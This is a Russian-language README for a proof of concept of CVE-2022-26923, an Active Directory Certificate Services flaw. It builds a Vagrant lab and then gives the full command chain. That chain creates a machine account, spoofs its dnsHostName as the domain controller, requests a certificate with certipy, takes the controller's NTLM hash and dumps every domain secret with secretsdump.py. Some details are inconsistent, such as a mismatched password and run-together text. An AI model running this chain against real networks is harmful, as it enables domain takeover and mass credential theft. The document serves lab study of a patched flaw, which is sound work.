
Доказательство концепции, эксплуатирующее CVE-2022-26923.
Эта уязвимость позволяла пользователю с низкими привилегиями повысить их до администратора домена в среде Active Directory по умолчанию с установленной ролью сервера Active Directory Certificate Services (AD CS).
Она в основном связана с ролью Active Directory Certificate Services (AD CS). Роль AD CS — это роль сервера Windows Server, которая позволяет построить инфраструктуру открытых ключей (PKI) и предоставить возможности криптографии с открытым ключом, цифровых сертификатов и цифровых подписей для вашей организации. Роль AD CS используется для выдачи сертификатов пользователям, компьютерам и службам.
Используемая версия Windows Server — Windows Server 2019 Standard Evaluation, которая является уязвимой версией. Предоставленный Vagrantfile (в папке Vulnerable Machine) создаст виртуальную машину Windows Server 2019 с установленной и настроенной ролью AD CS, а также пользователя с низкими привилегиями со следующими учетными данными:
userV@grant1Чтобы создать среду, выполните следующие шаги:
CVE-2022-26923:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile, заменив IP-адрес в следующей строке:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy, вы можете использовать предоставленную машину Vagrant в каталоге Attacker Machine, выполнив следующую команду:
cd 'Attacker Machine'
vagrant up
Папка Attacker Machine содержит машину Vagrant вместе со скриптом оболочки, который установит последнюю версию certipy. Вы также можете использовать скрипт для установки certipy на вашей машине Linux.
Чтобы подключиться к атакующей машине, выполните следующую команду из каталога Attacker Machine:
vagrant ssh
Теперь, когда вы находитесь на атакующей машине, вам нужно добавить IP-адрес сервера Windows Server в файл hosts:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
Примечание: Если вы изменили IP-адрес в Vagrantfile уязвимой машины, вам нужно изменить его и здесь.
Затем давайте создадим новую учетную запись компьютера в домене:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
Чтобы убедиться, что учетная запись компьютера создана, подключитесь к уязвимой машине с пользователем user и паролем V@grant1, выполнив следующую команду из каталога Vulnerable Machine:
vagrant ssh
Затем выполните следующую команду, чтобы убедиться, что учетная запись компьютера создана:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
Эта учетная запись машины имеет dnsHostName CVEPC.vagrant.local. Наша цель — изменить этот dnsHostName на VAGRANT-K51B6U3.vagrant.local, который является контроллером домена.
Для этого сначала необходимо удалить имя участника-службы (SPN) из учетной записи компьютера CVEPC, выполнив следующую команду:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
Затем мы можем изменить dnsHostName на VAGRANT-K51B6U3.vagrant.local, выполнив следующую команду:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
Теперь, когда у нас есть учетная запись компьютера с dnsHostName VAGRANT-K51B6U3.vagrant.local, мы можем запросить вредоносный сертификат с уязвимой машины, выполнив следующую команду на атакующей машине:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
В текущем каталоге должен появиться сертификат с именем vagrant-k51b6u3.pfx.
Чтобы проверить, что сертификат действителен, используйте инструмент auth из набора certipy, выполнив следующую команду:
certipy auth -pfx vagrant-k51b6u3.pfx
Если сертификат действителен, вы должны получить NTLM-хэш контроллера домена. Его можно использовать многими вредоносными способами.
В качестве подтверждения концепции мы можем использовать NTLM-хэш для извлечения всех секретов, хранящихся в домене (как описано в статье автора CVE). Для этого мы можем использовать инструмент secretsdump.py из набора impacket (который устанавливается вместе с последней версией certipy).
Для использования инструмента выполните следующую команду:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
Замените <NTLM hash> на NTLM-хэш, полученный на предыдущем шаге.
В результате вы должны получить все секреты, хранящиеся в домене.